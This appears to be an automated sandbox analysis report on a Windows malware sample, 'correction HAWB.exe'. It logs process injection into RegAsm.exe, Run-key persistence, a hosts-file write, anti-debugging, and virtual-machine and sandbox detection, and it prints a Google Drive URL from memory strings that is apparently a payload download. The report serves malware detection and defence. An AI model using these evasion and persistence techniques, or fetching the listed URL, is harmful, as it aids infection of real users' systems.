Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00404F95 pushad ; ret	0_2_00404F98
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00407DB2 push edi; iretd	0_2_00407DB3
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00770E66 push edx; ret	0_2_00770E67
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00771861 push eax; iretd	0_2_0077186F
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00770E5D push ss; iretd	0_2_00770E63
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00770890 push eax; retf	0_2_00770896
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_0077349A push FFFFFF81h; retf	0_2_0077349C
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00771570 push eax; iretd	0_2_0077157C
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00773F2C push 330F7533h; ret	0_2_00773F32
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00772D28 push esp; ret	0_2_00772D29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1C9E2177 push edi; retn 0000h	12_2_1C9E2179
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Code function: 27_2_002044A3 push es; retf	27_2_002044A4
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Code function: 27_2_00204469 push cs; retf	27_2_0020449E
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Code function: 27_2_00204289 push es; retf	27_2_00204294
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Code function: 32_2_00F044A3 push es; retf	32_2_00F044A4
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Code function: 32_2_00F04469 push cs; retf	32_2_00F0449E
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Code function: 32_2_00F04289 push es; retf	32_2_00F04294

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tKZVPq			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tKZVPq			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\correction HAWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\correction HAWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\correction HAWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\correction HAWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\correction HAWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\correction HAWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\correction HAWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\correction HAWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\correction HAWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\correction HAWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\correction HAWB.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\correction HAWB.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: RegAsm.exe, 0000000C.00000002.5757771183.0000000000FA0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32USERPROFILE=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1OI6QTIWRNNN8NQRW9EUDQGJEY6K_YCRB
Source: correction HAWB.exe, 00000000.00000002.1536683915.00000000007A0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32USERPROFILE=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE\SYSWOW64\MSVBVM60.DLL
Source: correction HAWB.exe, 00000000.00000002.1536683915.00000000007A0000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000002.5757771183.0000000000FA0000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: correction HAWB.exe, 00000000.00000002.1536808597.00000000007BD000.00000004.00000020.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEXE\

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7360	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe TID: 4376	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe TID: 5240	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Window / User API: threadDelayed 9951

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\correction HAWB.exe

System information queried: ModuleInformation

Jump to behavior

Source: correction HAWB.exe, 00000000.00000002.1539107459.0000000004889000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000002.5762665085.00000000027B9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: correction HAWB.exe, 00000000.00000002.1539107459.0000000004889000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000002.5762665085.00000000027B9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: RegAsm.exe, 0000000C.00000002.5762665085.00000000027B9000.00000004.00000001.sdmp	Binary or memory string: vmicshutdown
Source: correction HAWB.exe, 00000000.00000002.1539107459.0000000004889000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000002.5762665085.00000000027B9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: correction HAWB.exe, 00000000.00000002.1536683915.00000000007A0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32USERPROFILE=windir=\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\syswow64\msvbvm60.dll
Source: correction HAWB.exe, 00000000.00000002.1539107459.0000000004889000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000002.5762665085.00000000027B9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: correction HAWB.exe, 00000000.00000002.1539107459.0000000004889000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000002.5762665085.00000000027B9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: RegAsm.exe, 0000000C.00000002.5762665085.00000000027B9000.00000004.00000001.sdmp	Binary or memory string: vmicvss
Source: RegAsm.exe, 0000000C.00000002.5751962589.0000000000DEC000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 0000000C.00000003.2447990669.0000000000E31000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW(
Source: correction HAWB.exe, 00000000.00000002.1536683915.00000000007A0000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000002.5757771183.0000000000FA0000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: correction HAWB.exe, 00000000.00000002.1539107459.0000000004889000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000002.5762665085.00000000027B9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: RegAsm.exe, 0000000C.00000002.5757771183.0000000000FA0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32USERPROFILE=https://drive.google.com/uc?export=download&id=1oI6QtIwrNnN8NQRw9EUdqGJEy6K_yCrB
Source: correction HAWB.exe, 00000000.00000002.1539107459.0000000004889000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000002.5762665085.00000000027B9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: correction HAWB.exe, 00000000.00000002.1539107459.0000000004889000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000002.5762665085.00000000027B9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: correction HAWB.exe, 00000000.00000002.1536808597.00000000007BD000.00000004.00000020.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exexe\
Source: RegAsm.exe, 0000000C.00000002.5762665085.00000000027B9000.00000004.00000001.sdmp	Binary or memory string: vmicheartbeat

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\correction HAWB.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_004022AE mov ebx, dword ptr fs:[00000030h]	0_2_004022AE
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_00403236 mov ebx, dword ptr fs:[00000030h]	0_2_00403236
Source: C:\Users\user\Desktop\correction HAWB.exe	Code function: 0_2_004031AF mov ebx, dword ptr fs:[00000030h]	0_2_004031AF

Source: C:\Users\user\Desktop\correction HAWB.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_00927166 KiUserExceptionDispatcher,LdrInitializeThunk,

12_2_00927166

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\correction HAWB.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: C10000

Jump to behavior

Modifies the hosts file

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Users\user\Desktop\correction HAWB.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\correction HAWB.exe'

Jump to behavior

Source: RegAsm.exe, 0000000C.00000002.5759891519.0000000001361000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: RegAsm.exe, 0000000C.00000002.5759891519.0000000001361000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RegAsm.exe, 0000000C.00000002.5759891519.0000000001361000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: RegAsm.exe, 0000000C.00000002.5759891519.0000000001361000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Queries volume information: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe VolumeInformation	Jump to behavior
